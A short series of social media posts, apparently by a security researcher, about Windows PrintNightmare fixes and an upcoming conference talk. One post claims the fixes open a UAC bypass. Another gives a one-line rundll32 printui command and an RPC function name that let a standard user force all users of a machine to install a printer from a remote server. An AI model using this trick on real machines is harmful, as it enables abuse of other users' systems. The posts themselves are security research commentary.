Just found that not publish slides of conference for years, so upload recent ones: github.com/f0rgetting/Pre…
And I will talk at #POC2021 next week, would you join the talk? ^_^
Did you realize that all #printnightmare fix are try to restrict to administrators? It essentially allow UAC bypass. Of course UAC is not a security boundary, so this is not a security issue.
But my favorite (for now) #printnightmare dirty trick is: *as a standard user* the way to *force* all other users/admins of workstation/server to install printers😂
rundll32 printui,PrintUIEntry /ga /n"\\print.lab.local\Kiwi Legit Printer"
Rpc(Asyn)cAddPerMachineConnection
